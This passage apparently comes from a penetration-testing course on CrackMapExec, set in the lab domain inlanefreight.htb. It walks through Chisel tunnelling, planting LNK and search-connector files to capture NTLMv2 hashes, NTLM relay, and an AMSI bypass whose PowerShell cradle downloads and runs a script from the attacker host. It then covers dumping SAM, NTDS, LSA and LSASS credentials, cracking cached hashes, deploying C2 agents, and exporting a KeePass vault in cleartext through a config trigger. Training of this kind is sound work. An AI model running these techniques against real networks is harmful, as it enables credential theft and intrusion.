address 172.16.1.10. Based on the information we collected, we have the following scenario:
To attack DC01 and any other machine in that network (172.16.1.0/24), we must set up a
tunnel between our attack host and MS01. Therefore, all commands executed by CME go
through MS01.
wget
https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_l
inux_amd64.gz -O chisel.gz -q
gunzip -d chisel.gz
chmod +x chisel
./chisel server --reverse
Upload Chisel
wget
https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_w
indows_amd64.gz -O chisel.exe.gz -q
gunzip -d chisel.exe.gz
crackmapexec smb 10.129.204.133 -u grace -p Inlanefreight01! --put-file
./chisel.exe \\Windows\\Temp\\chisel.exe
The command in this terminal will finish once we stop the Chisel process in the target
machine. We will do this later in this section.
In our attack host, we should notice a new line on the Chisel server indicating that we
received a connection from a client and initiated our tunnel.
<SNIP>
We can also confirm the tunnel is running by checking if port TCP 1080 is listening:
Check Listening Port
1. We need to configure proxychains to use the Chisel default port TCP 1080. We need
to make sure to include socks5 127.0.0.1 1080 in the ProxyList section of the
configuration file as follows:
Configure Proxychains
cat /etc/proxychains.conf
<SNIP>
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
To remove Proxychains output from the console, we can use Proxychains4 and the quiet
option -q :
Once we do this, the terminal where we ran the Chisel client command execution should
conclude as follows:
We can now close the Chisel server on our attack host with CTRL + C .
Now to connect to our target machine Chisel server and enable the proxy, we need to use
the option socks after the IP and port.
<SNIP>
Next Steps
In this section, we learned how to configure Proxychains and Chisel on our attack host and
how to execute Chisel on the target machine using CrackMapExec functionality.
In the following sections, we will use CrackMapExec and Proxychains to reach other
networks.
Stealing Hashes
One of the most common techniques for compromising new accounts is the theft of
password hashes. There are different methods of achieving this, but a widespread one is
forcing a computer or user to initiate an authentication process with a fake shared folder we
control.
When starting this authentication process, the user or computer does it with an NTLMv2
hash. This hash could be cracked using a tool such as Hashcat or forwarded to another
computer to impersonate the user without knowing their credentials.
To steal hashes using shared folders, we can create a shortcut and configure it so that the
icon that appears in the shortcut points to our fake shared folder. Once the user enters the
shared folder, it will try to look for the icon's location, forcing the authentication against our
shared folder.
To learn more about harvesting NTLMv2 hashes, we can read the blog Farming for Red
Teams: Harvesting NetNTLM from MDsec which shows not only the use of shortcuts but also
other types of files that serve the same purpose.
Slinky Module
Slinky is a module created by @byt3bl33d3r and by far one of the most exciting modules
on CME. The principle is straightforward. The module creates Windows shortcuts with the
icon attribute containing a UNC path to the specified SMB server in all shares with write
permissions. When someone visits the share, we will get their NTLMv2 hash using
Responder because the icon attribute contains a UNC path to our server.
The module has two mandatory options, SERVER and NAME , and one optional CLEANUP .
SERVER corresponds to the IP of the SMB server we control and where we want the UNC
path to point. The NAME option assigns a name to the shortcut file, and CLEANUP is to delete
the shortcut once we finish.
As we see, grace can write to the HR and IT-Tools shares. Therefore we can use the
module Slinky to write an LNK file to each share. We will use the option
SERVER=10.10.14.33 , the IP address corresponding to our attack host's tun0 network, and
the option NAME=important , which is the file name we are assigning to the LNK file.
Using Slinky
Note: CrackMapExec is generally considered opsec safe because everything is either run in
memory, enumerated over the network using WinAPI calls, or executed using built-in
Windows tools/features. We will get a prompt when a module doesn't meet these
requirements. The Slinky module is an example of a not opsec safe module. We will get a
prompt before proceeding.
Once the LNK file is created, we need to run Responder and wait for someone to browse to
the share. To learn more about how to use Responder, we can check the section Attacking
SMB in the Attacking Common Services module.
Starting Responder
Note: The SMB option should be On in the Responder.conf file to capture the hash.
We got our NTLMv2 hash, and we need to crack it to exploit the account, or we can do an
NTLM Relay. To crack it, we can use Hashcat mode 5600 just as we did with ASREPRoast
and Kerberoasting. Let's focus on NTLM Relay.
NTLM Relay
Another solution is to relay the NTLMv2 hash directly to other servers and workstations on
the network where SMB Signing is disabled. SMB Signing is essential because if a computer
has SMB Signing enabled, we can't relay to that computer because we will be unable to
prove our attack host's identity. To get a list of targets with SMB Signing disabled, we can
use the option --gen-relay-list .
Now we can use Proxychains and get a list of the machines with SMB Signing disabled.
172.16.1.5
We will use ntlmrelayx with the previous list we got from the option --gen-relay-list . If
we find an account with local administrator privileges on the target machine, if no other
options are specified, ntlmrelayx will automatically dump the SAM database of the target
machine and we would be able to attempt to perform a pass-the-hash attack with any local
admin user hashes.
Execute NTLMRelayX
We need to wait until a user accesses the SMB share, and our LNK file forces them to
connect to our target machine (this happens in the background, and the user will not notice
anything out of the ordinary). Once this is done, we should see something like this in the
ntlmrelayx console:
Then we can use crackmapexec to authenticate to the target machine using the
administrator hash:
Cleanup
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] y
SMB 172.16.1.10 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 172.16.1.10 445 DC01 [+]
inlanefreight.htb\grace:Inlanefreight01!
SLINKY 172.16.1.10 445 DC01 [+] Found writable
share: HR
SLINKY 172.16.1.10 445 DC01 [+] Deleted LNK file
on the HR share
SLINKY 172.16.1.10 445 DC01 [+] Found writable
share: IT-Tools
SLINKY 172.16.1.10 445 DC01 [+] Deleted LNK file
on the IT-Tools share
In essence, they perform the same function as the LNK file. To learn more about the
discovery of this method, we can read the blog post Exploring search connectors and library
files in Windows.
The target shared folder with the option SHARE=name . If we don't specify this option, it
will write the file in all shares with WRITE permissions.
The filename with the option FILENAME=name . If we don't specify this option, it will
create a file named "Documents."
The option CLEANUP=True if we want to clean the files we created. We need to specify
the filename option if we use a custom name.
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] Y
SMB 172.16.1.10 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 172.16.1.10 445 DC01 [+]
inlanefreight.htb\grace:Inlanefreight01!
DROP-SC 172.16.1.10 445 DC01 [+] Found writable
share: IT-Tools
DROP-SC 172.16.1.10 445 DC01 [+] Created
secret.searchConnector-ms file on the IT-Tools share
Once a user accesses the shared folder, and while we have ntlmrelayx listening, we
should also be able to relay to the target machine.
<SNIP>
Finally, we can clean up the .searchConnector-ms file with the CLEANUP=True option:
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] y
SMB 172.16.1.10 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 172.16.1.10 445 DC01 [+]
inlanefreight.htb\grace:Inlanefreight01!
DROP-SC 172.16.1.10 445 DC01 [+] Found writable
share: IT-Tools
DROP-SC 172.16.1.10 445 DC01 [+] Deleted
secret.searchConnector-ms file on the IT-Tools share
Next Steps
LNK files are commonly known for this type of attack. Using another file type, such as
.searchConnector-ms , can help you to go unnoticed.
CrackMapExec comes with a lot more options when it comes to enumeration with a valid
domain user account. We have covered the most used options but let's dig deeper. Here is
the list of all the choices we can use once we get a valid account, even if it is not privileged:
Command Description
crackmapexec smb <target> -u <u> - Enumerate logged users on the target
p <p> --loggedon-users
If we are looking for a particular user, we can use the option --loggedon-users-filter
followed by the name of the user we are looking for. In case we are looking for multiple
users, it also supports regex.
Note: Typically, administator permissions are required for successful execution of the --
loggedon-users or --sessions switches.
Enumerate Computers
CME can also enumerate domain computers, and it does by performing an LDAP request.
Note: Although this option is only available in the SMB protocol, CME is doing an LDAP
query.
Enumerate LAPS
The Local Administrator Password Solution (LAPS) provides management of local
account passwords of domain-joined computers. Passwords are stored in Active Directory
(AD) and protected by ACL, so only eligible users can read them or request a reset. If LAPS
is used inside the domain and we compromise an account that can read LAPS passwords,
we can use the option --laps with a list of targets and execute commands or use other
options such as --sam .
Source: Defeating LAPS
Note: If the default administrator account name is not "administrator," add the username
after the option --laps username .
By default, --rid-brute enumerate objects brute forcing RIDs up to 4000. We can modify
its behavior using --rid-brute [MAX_RID] .
The --rid-brute option can be used to retrieve user names and other Active Directory
objects that match the brute-forced IDs. It can also be used to enumerate domain accounts if
NULL Authentication is enabled. It's important to remember that this option can be used in
these ways.
Enumerate Disks
An important piece that we sometimes need to remember to check is the additional disks
that may exist on a server. CrackMapExec has an option --disks that allows us to check
the disks that exist in the server.
Enumerating Disks
<SNIP>
<SNIP>
If we want to get the group members, we can use --groups [GROUP NAME] .
Group Members
Note: At the time of writing --local-group only works against a Domain Controller, and
querying a group using the group name doesn't work.
Querying WMI
Windows Management Instrumentation (WMI) is used for administrative operations on
Windows operating systems. We can write WMI scripts or applications to automate
administrative tasks on remote computers. WMI provides management data to other parts of
the operating system and products, for example, System Center Operations Manager
(formerly Microsoft Operations Manager (MOM)) or Windows Remote Management
(WinRM).
One of the primary use of Windows Management Instrumentation (WMI) is the ability to
query the WMI repository for class and instance information. For example, we can request
that WMI return all the objects representing shut-down events from a remote or local system.
WMI uses TCP port 135 and a range of dynamic ports: 49152-65535 (RPC dynamic ports –
Windows Vista, 2008 and above), TCP 1024-65535 (RPC dynamic ports – Windows NT4,
Windows 2000, Windows 2003), or we can set up WMI to use a custom range of ports.
Let's use, for example, WMI to query if a remote computer has the Sysmon application
running and to display the Caption and ProcessId, the WMI query we will use is SELECT
Caption,ProcessId FROM Win32_Process WHERE Caption LIKE '%sysmon%' :
WMI organizes its classes in a hierarchical namespace. To perform a query, we must know
the Class Name and the Namespace in which it is located. In the above example, query the
class Win32_Process in the namespace root\cimv2 . We didn't specify the namespace
because, by default, CME use root\cimv2 (we can see that information in the --help
menu).
To query another namespace, we need to specify it. Let's, for example, query
MSPower_DeviceEnable class, which is within the namespace root\WMI . This class holds
information about devices that should dynamically power on and off while the system works.
To learn more about how to find WMI classes that are related to a specific topic, we can use
Microsoft and 3rd party documentation from wutils.com.
Note: Commonly, to query WMI, we will need to have administrative privileges, but an
administrator can configure a non-administrator account to query WMI. If that's the case, we
can use a non-administrator account to perform WMI queries.
To learn more about WMI Query Language (WQL), we can read Microsoft's Documentation.
Next Steps
The following section will cover enumeration using the LDAP and RDP protocols.
Earlier, we explored some enumeration options with SMB, the most used protocol in
CrackMapExec, but there are more enumeration options with the LDAP and RDP protocols.
This section will show some of these options and how we can further enumerate our targets.
Command Description
crackmapexec ldap <target> -u Enumerate enabled domain users
<u> -p <p> --users
crackmapexec ldap <target> -u Get the list of users and computers with flag
<u> -p <p> --trusted-for- TRUSTED_FOR_DELEGATION
delegation
crackmapexec ldap <target> -u Get objets that had the value adminCount=1
<u> -p <p> --admin-count
<SNIP>
<SNIP>
Note: Keep in mind that LDAP protocol communications won't work if we can't resolve the
domain FQDN. If we are not connecting to the domain DNS servers, we need to configure
the FQDN in the /etc/hosts file.
If the account control attribute PASSWD_NOTREQD is set, the user is not subject to the current
password policy length, meaning they could have a shorter password or no password at all
(if empty passwords are allowed in the domain). We can use the option --password-not-
required to identify those accounts.
The adminCount attribute determines whether or not the SDProp process protects a user. In
this process, the AdminSDHolder in Active Directory serves as a template for ACL
permissions for protected user accounts. If any account ACE is modified (say, by an
attacker), accounts protected by this process will have their ACL permissions reset to the
templated permission set every time the SDProp process runs, which is by default every 60
minutes but can be modified. The user is not covered if the value is set to 0 or not specified.
If the attribute value is set to 1, the user is protected. Attackers will often look for accounts
with the adminCount attribute set to 1 to target in an internal environment. These are often
privileged accounts and may lead to further access or full domain compromise.
<SNIP>
This managed service account (MSA) type was introduced in Windows Server 2008 R2 and
Windows 7.
The group Managed Service Account (gMSA) provides the same functionality within the
domain but also extends that functionality over multiple servers.
To identify an account with privileges to read the password for a gMSA account, we can use
PowerShell (we will discuss command execution more in-depth in the following section):
DistinguishedName : CN=svc_inlaneadm,CN=Managed
Service Accounts,DC=inlanefreight,DC=htb
Enabled : True
Name : svc_inlaneadm
ObjectClass : msDS-
GroupManagedServiceAccount
ObjectGUID : 6328a77f-9696-40b4-82b7-
725ac19564b6
PrincipalsAllowedToRetrieveManagedPassword :
{CN=engels,CN=Users,DC=inlanefreight,DC=htb}
SamAccountName : svc_inlaneadm$
SID : S-1-5-21-3325992272-
2815718403-617452758-6123
UserPrincipalName :
In the above example, we can see that the user engels has the privilege
PrincipalsAllowedToRetrieveManagedPassword , which means that it can read the
password for the gMSA account svc_inlaneadm$ . If we compromise an account with the
right to read a gMSA password, we can use the option --gmsa to retrieve the account's
NTLM password hash.
<SNIP>
RDP Screenshots
We can use CrackMapExec to enumerate usernames through the RDP protocol. If the option
to allow RDP only with NLA is disabled on the target machine, we can use the --nla-
screenshot option to take a screenshot of the logon prompt.
To open the screenshot, we can use Eye of MATE or eom from the CLI.
eom /home/plaintext/.cme/screenshots/DC01_10.129.203.121_2022-11-
23_163607.png
If we have a username and password, we can also take screenshots using the RDP protocol
with the option --screenshot . This option can be combined with --screentime , by default
10, which is the time it will wait to take the screenshot once the RDP connection is open.
This is useful if we connect to a target machine and the target takes more than 10 seconds
to load the desktop.
Another option that can be combined with the --screenshot option is --res , which
corresponds to the screen resolution at the time of the RDP connection. This option is helpful
because if we find an active RDP session, depending on the size of the user's screen, we
will be able to see all the content or not. By default, this option is set to 1024x768.
Taking a Screenshot
Finally, to open the screenshot, we can use Eye of MATE or eom from the CLI:
eom /home/plaintext/.cme/screenshots/DC01_10.129.203.121_2022-11-
23_163607.png
Next Steps
In this section, we explored several enumeration options using LDAP and RDP that can help
archive our goals. The following section will review how to run commands using
CrackMapExec.
Command Execution
We must check for the presence of UAC before attempting to execute a command as a local
administrator on a remote target. When UAC is enabled, which is the case by default, only
the administrator account with RID 500 (the default administrator) can execute remote
commands. There are two registry keys to check if this is the case:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTo
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdminist
Another setting an administrator can configure is to prevent the local administrator account
(RID 500) from performing remote administration tasks. This could be done by setting the
registry value FilterAdministratorToken to 1 , meaning that the built-in administrator
account (RID 500) can not perform remote administrative tasks.
This means that the UAC is enabled. If that's the case, we won't receive the (Pwn3d!)
message even if the account is an administrator. If we want to revert this setting, we can set
the LocalAccountTokenFilterPolicy to 1.
Changing LocalAccountTokenFilterPolicy
By default, CME will fail over to a different execution method if one fails. It attempts to
execute commands in the following order:
If we want to force CME to use only one execution method, we can specify which one using
the --exec-method flag, for example:
When running PowerShell option -X , behind the scenes, CrackMapExec will do the
following:
1. AMSI bypass
2. Obfuscate the payload
3. Execute the payload
wget
https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/s
hantanukhande-amsi.ps1 -q
If we try to execute the payload as is, it will fail because the command will exceed the
maximum length of 8191 chars.
1. To solve this problem, let's create a PowerShell script that downloads and executes
shantanukhande-amsi.ps1 . We will also need to create a Python web server to host
our script.
echo "IEX(New-Object
Net.WebClient).DownloadString('http://10.10.14.33/shantanukhande-
amsi.ps1');" > amsibypass.txt
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
From another terminal, let's run our new AMSI bypass payload:
Note: The WinRM protocol does not support different execution methods.
SSH Command Execution
We can also use the SSH protocol to execute commands on Linux or Windows using
CrackMapExec.
Another common way to interact with an SSH server is using public and private keys.
CrackMapExec supports using private keys with the option --key-file . The key needs to
be in OPENSSH format to work.
Note: If no passphrase is configured, we must set the option -p to blank (""), or we will get
an error.
Next Steps
In this section, we discovered three different protocols to execute commands using
CrackMapExec, and previously we discussed how to use MSSQL to execute commands. At
the time of writing, CrackMapExec supports four other protocols to execute commands. The
following section will discuss how to use CrackMapExec to extract credentials.
In this section, we will explore the methods CrackMapExec comes equipped with to dump
Windows credentials.
SAM
The SAM database contains credentials for all local users, and it is crucial to get them since
many administrators reuse their local credentials on multiple machines. Using the option --
sam , available with the SMB and WinRM protocols, we can quickly retrieve the contents of
the SAM database.
Dumping SAM
To dump the hashes, we need to use the option --ntds , in the following example, the user
robert is not a Domain Admin, but it has privileges to perform replication.
Note: The following exercises use proxychains. Refer to Proxychains with CME section for
intrusion on how to set up proxychains.
When using the --ntds option, we can include the --user and --enabled options. We
can specify the user we want to extract if we use --user . Let's dump the hash for the
KRBTGT account.
If we specify --enabled , it will only show the users that are enabled on-screen and will
present us with the option to extract the list of enabled users.
LSA Secrets is a unique protected storage for critical data used by the Local Security
Authority (LSA) in Windows. LSA is designed to manage a system's local security policy,
audit, authenticate, log users onto the system, store private data, etc. Users' and systems'
sensitive data is stored in secrets. DPAPI keys are used to encrypt the data.
Cached Credentials are the credentials (cached domain records) stored inside the LSA
when a user logs into a workstation or server.
Inspect LSA
The hash format that starts with $DCC2$ are the Domain Cached Credentials 2 (DCC2), MS
Cache 2. Those hashes can be cracked using Hashcat, provided a weak password is set
because this algorithm is much stronger than NTLM. Also, Domain Cached Credential
hashes cannot be used for a Pas the Hash attack. To crack them, we need to remove the
domain and username, grab the value after $DCC2$ , and use Hashcat module 2100.
Cracking Hashes
cat /home/plaintext/.cme/logs/MS01_10.129.204.133_2022-11-
08_093944.cached| cut -d ":" -f 2
$DCC2$10240#julio#c2139497f24725b345aa1e23352481f3
$DCC2$10240#david#a8338587a1c6ee53624372572e39b93f
$DCC2$10240#john#fbdeac2c1d121818f75796cedd0caf0a
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386
$DCC2$10240#julio#c2139497f24725b345aa1e23352481f3:Password1
<SNIP>
CrackMapExec contains several modules to dump the content of the LSASS process
memory. Let's see some of them:
1. Lsassy Python tool to remotely extract credentials on a set of hosts. This blog post
explains how it works. This tool uses the Impacket project to remotely read necessary
bytes in an LSASS dump and pypykatz to extract credentials.
Lsassy Module
1. HandleKatz this tool demonstrates the usage of cloned handles to LSASS to create an
obfuscated memory dump of the same.
Handlekatz Module
1. Nanodump is a flexible tool that creates a minidump of the LSASS process. As opening
a handle to LSASS can be detected, Nanodump can search for existing handles to
LSASS. If one is found, it will copy it and use it to create the minidump. Note that it is
not guaranteed to find such a handle.
Nanodump Module
Next Steps
This section demonstrates different methods to extract credentials from a computer or
domain. The following section will explore using CrackMapExec alongside a C2 framework.
One thing that can be interesting with CrackMapExec is when we compromise multiple
targets, we may want to do more recon or operate using a C2 Framework like Empire or
Metasploit. We can use CrackMapExec to execute a payload in each target machine and get
an agent into our C2.
This section will discuss two modules that integrate CME with PowerShell Empire and
Metasploit framework. We will also explore an alternative if we use a different C2 framework.
Empire
We will start by installing the Empire framework using the guide provided on their website.
<SNIP>
Next, we need to run Empire with the username and password we choose. We will use the
username empireadmin and the password HackTheBoxCME! .
<SNIP>
Next, we need to edit the CrackMapExec configuration file and the Empire client
configuration file to match the username and password we choose.
cat ~/.cme/cme.conf
[CME]
workspace = default
last_used_db = smb
pwn3d_label = Pwn3d!
audit_mode =
[BloodHound]
bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = neo4j
[Empire]
api_host = 127.0.0.1
api_port = 1337
username = empireadmin
password = HackTheBoxCME!
<SNIP>
We need to do the same for the Empire configuration file. The file is located at
empire/client/config.yaml :
Reviewing
/home/plaintext/Empire
suppress-self-cert-warning: true
auto-copy-stagers: true
servers:
localhost:
host: https://localhost
port: 1337
socketport: 5000
username: empireadmin
password: HackTheBoxCME!
autoconnect: true
other-server:
host: https://localhost
port: 1337
socketport: 5000
username: empireadmin
password: HackTheBoxCME!
another-one:
host: https://localhost
port: 1337
socketport: 5000
username: empireadmin
password: HackTheBoxCME!
<SNIP>
Once the configuration files are changed, we must connect to the Empire server with the
Empire client.
<SNIP>
==========================================================================
==============
[Empire] Post-Exploitation Framework
==========================================================================
==============
[Version] 4.8.1 BC Security Fork | [Web] https://github.com/BC-
SECURITY/Empire
==========================================================================
==============
[Starkiller] Multi-User GUI | [Web] https://github.com/BC-
SECURITY/Starkiller
==========================================================================
==============
[Documentation] | [Web] https://bc-security.gitbook.io/empire-wiki/
==========================================================================
==============
Now we need to set up the listener, and we will set the host to our IP address and the Port to
TCP 8001, where the agent will connect.
Author @harmj0y
Description Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST
approach.
Name HTTP[S]
<SNIP>
Now we have our listener running, and we can use CrackMapExec to get an agent into
Empire with the module empire_exec . We need to add the option LISTENER=http , which is
the listener we set.
Metasploit
We can do the same on Metasploit Framework using the CrackMapExec module
web_delivery . We need to configure the web_delivery module in the Metasploit
Framework and use the provided URL as a parameter to our CrackMapExec module. Let's
start msfconsole and configure the web_delivery handler.
msfconsole
<SNIP>
Once the web delivery handler is configured in Metasploit, we can use the web_delivery
module. It supports two options, URL and PAYLOAD . We need to set the URL option with the
URL provided by Metasploit, and the PAYLOAD option corresponds to the payload
architecture we selected. If we use x64, we can omit this option because x64 is the default
value or use PAYLOAD=64 . If we use a 32 bit payload, we need to set the option
PAYLOAD=32 . Let's see it in action:
Other C2 Frameworks
In case we want to use another C2 Framework, we can accomplish the same result using
the options available for Command Execution, as we mention in the section Command
Execution (SMB, WinRM, SSH). For example, we can create a PowerShell payload, save
the payload to a webserver and use the option -X to execute a PowerShell command to
download and run the payload. We will also need to select the option --no-output to send
the execution to the background.
Let's use Metasploit as an example, and instead of using the module, let's try to copy the
PowerShell script provided in the web_delivery payload:
Next Steps
This section explores how we can use CrackMapExec with other hacking tools, such as C2
Frameworks. The following section will explore how to integrate CrackMapExec with
BloodHound.
Bloodhound Integration
In this section, we assume you are familiar with Bloodhound. If that's not the case, you can
learn more about Bloodhound in the Active Directory Bloodhound module, or you can check
Bloodhound official documentation.
cat ~/.cme/cme.conf
[CME]
workspace = default
last_used_db = smb
pwn3d_label = Pwn3d!
audit_mode =
[BloodHound]
bh_enabled = True
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = HackTheBoxCME!
<SNIP>
Note: Make sure to use the corresponding username and password to the BloodHound
database you are connecting to.
wget
https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHoun
d.exe -q
crackmapexec smb 10.129.203.121 -u julio -p Password1 --put-file
SharpHound.exe SharpHound.exe
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
SMB 10.129.203.121 445 DC01 [*] Copy
SharpHound.exe to SharpHound.exe
SMB 10.129.203.121 445 DC01 [+] Created file
SharpHound.exe on \\C$\SharpHound.exe
The same will happen if we compromise a machine with multiple users. It will set all new
users found as owned.
Note: Not all CrackMapExec options will sync with the BloodHound database. For example,
if we try --ntds or --lsa options, it won't mark users as owned in the database, but
modules such as procdump or lsassy will mark users as owned.
Setting Computers as Owned in BloodHound
At the time of writing, BloodHound integration only marks users as Owned. If we want to
mark a computer as owned, we can use the module bh_owned and the username and
password of our neo4j database. In the following example, we will only add the PASS option,
as the other default values match with our neo4j database.
Next Steps
The integration of BloodHound into CrackMapExec offers many options when dealing with
large networks and is a quick way to update the database in case we want to share it with
our clients. In the next section, we will work with some popular modules that are available in
CrackMapExec.
Popular Modules
One of the most exciting things about CrackMapExec is that it is modular and allows anyone
to create modules and contribute them to the tool. CrackMapExec has more than 50
modules that enable us to perform operations to facilitate exploitation and post-exploitation
tasks. This section will review some of these modules for the LDAP and SMB protocols.
By default, if we don't specify any option, the module will retrieve only the IP address. If we
choose the option ALL=true , it will retrieve both IP and domain names, and if we specify
ONLY_HOSTS=true , we will only retrieve the FQDN.
cat /home/plaintext/.cme/logs/inlanefreight.htb_network_2022-11-
10_101113.log
dc01.inlanefreight.htb 10.129.203.121
test.inlanefreight.htb 172.16.1.39
database01.inlanefreight.htb 172.16.1.29
Note: At the time of writing, the module has some differences with the `adidnsdump` tool.
Results may be different from one account to another.
Note: The password used is an example. It will not work against the target host.
There are a few attacks such as Resource Based Constrained Delegation that requires us to
create a machine in the domain, and this is why it's essential to enumerate the account
machine quota attribute.
Let's say we want to read all ACEs of the grace account. We can use the option TARGET ,
and the ACTION read:
<SNIP>
We can also look for specific rights, such as which principals have DCSync rights. We need
to use the option TARGET_DN and specify the distinguished domain name (DN), the ACTION
read, and the rights we want to look for with the option RIGHTS .
As shown in the output, the ACE[4] indicates that the user robert has DCSync rights in the
target domain.
We can use a few more modules in LDAP . We can use the -L option to see the complete
list of modules.
crackmapexec ldap -L
Note: Most of the modules that use SMB need admin rights ( Pwned! ) to work.
The get_netconnections module uses WMI to query network connections. It retrieves all
IP addresses, including IPv6 and any secondary IP, as well as the domain name.
get_netconnections Module
On the other hand, the ioxidresolver module uses RPC to query IP addresses. However,
this module does not include IPv6 addresses.
ioxidresolver Module
Note: It is important to understand how a module works so we can pick the one that works
best for our needs.
Discovering KeePass
An alternative if we don't have the master password is to use a technique developed by Lee
Christensen ( @tifkin_) and Will Schroeder ( @harmj0y) which makes use of KeePass'
trigger system to export the database in cleartext. It modifies the KeePass configuration file
to include a trigger that automatically exports the database in clear text.
1. Locate the KeePass configuration file. We did this with the keepass_discover module.
2. Add the trigger to the configuration file using the option ACTION=ADD and the
KEEPASS_CONFIG_PATH .
Adding Trigger to KeePass Configuration File
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] y
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
KEEPASS_... 10.129.203.121 445 DC01 [*] Adding trigger
"export_database" to
"C:/Users/julio/AppData/Roaming/KeePass/KeePass.config.xml"
KEEPASS_... 10.129.203.121 445 DC01 [+] Malicious trigger
successfully added, you can now wait for KeePass reload and poll the
exported files
Note: Make sure to use a backslash (/) or double slashes (\) for the KeePass configuration
path.
1. Wait for the user to open KeePass and enter the master password. To force this
operation, we can use the option ACTION=RESTART to restart the KeePass.exe process.
If the target machine has many users logged in, we can add the option USER with the
username like this USER=julio .
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] y
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
KEEPASS_... 10.129.203.121 445 DC01 [*] Restarting
INLANEFREIGHT\julio's KeePass process
1. Poll the exported database to our machine using the option ACTION=POLL . We can then
use grep to search for password entries.
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] y
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
KEEPASS_... 10.129.203.121 445 DC01 [*] Polling for
database export every 5 seconds, please be patient
KEEPASS_... 10.129.203.121 445 DC01 [*] we need to wait
for the target to enter his master password ! Press CTRL+C to abort and
use clean option to cleanup everything
1. Clean the configuration file using the option ACTION=CLEAN and the
KEEPASS_CONFIG_PATH .
[!] Module is not opsec safe, are you sure you want to run this? [Y/n]
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
KEEPASS_... 10.129.203.121 445 DC01 [*] No export found in
C:\Users\Public , everything is cleaned
KEEPASS_... 10.129.203.121 445 DC01 [*] Found trigger
"export_database" in configuration file, removing
KEEPASS_... 10.129.203.121 445 DC01 [*] Restarting
INLANEFREIGHT\julio's KeePass process
We learned each option for this module, but we can get it all at once with the ACTION=ALL .
The good part of this option is that it includes the method extract_password, which searches
the .xml file for any password entry and prints it to the console.
[!] Module is not opsec safe, are you sure you want to run this? [Y/n] Y
SMB 10.129.203.121 445 DC01 [*] Windows 10.0 Build
17763 x64 (name:DC01) (domain:inlanefreight.htb) (signing:True)
(SMBv1:False)
SMB 10.129.203.121 445 DC01 [+]
inlanefreight.htb\julio:Password1 (Pwn3d!)
KEEPASS_... 10.129.203.121 445 DC01
KEEPASS_... 10.129.203.121 445 DC01 [*] Adding trigger
"export_database" to
"C:/Users/julio/AppData/Roaming/KeePass/KeePass.config.xml"
KEEPASS_... 10.129.203.121 445 DC01 [+] Malicious trigger
successfully added, you can now wait for KeePass reload and poll the
exported files
KEEPASS_... 10.129.203.121 445 DC01
KEEPASS_... 10.129.203.121 445 DC01 [*] Restarting
INLANEFREIGHT\julio's KeePass process
KEEPASS_... 10.129.203.121 445 DC01 [*] Polling for
database export every 5 seconds, please be patient
KEEPASS_... 10.129.203.121 445 DC01 [*] we need to wait
for the target to enter his master password ! Press CTRL+C to abort and
use clean option to cleanup everything
...
KEEPASS_... 10.129.203.121 445 DC01 [+] Found database
export !
KEEPASS_... 10.129.203.121 445 DC01 [+] Moved remote
"C:\Users\Public\export.xml" to local "/tmp/export.xml"
KEEPASS_... 10.129.203.121 445 DC01
KEEPASS_... 10.129.203.121 445 DC01 [*] Cleaning
everything..
KEEPASS_... 10.129.203.121 445 DC01 [*] No export found in
C:\Users\Public , everything is cleaned
KEEPASS_... 10.129.203.121 445 DC01 [*] Found trigger
"export_database" in configuration file, removing
KEEPASS_... 10.129.203.121 445 DC01 [*] Restarting
INLANEFREIGHT\julio's KeePass process
KEEPASS_... 10.129.203.121 445 DC01
KEEPASS_... 10.129.203.121 445 DC01 [*] Extracting
password..
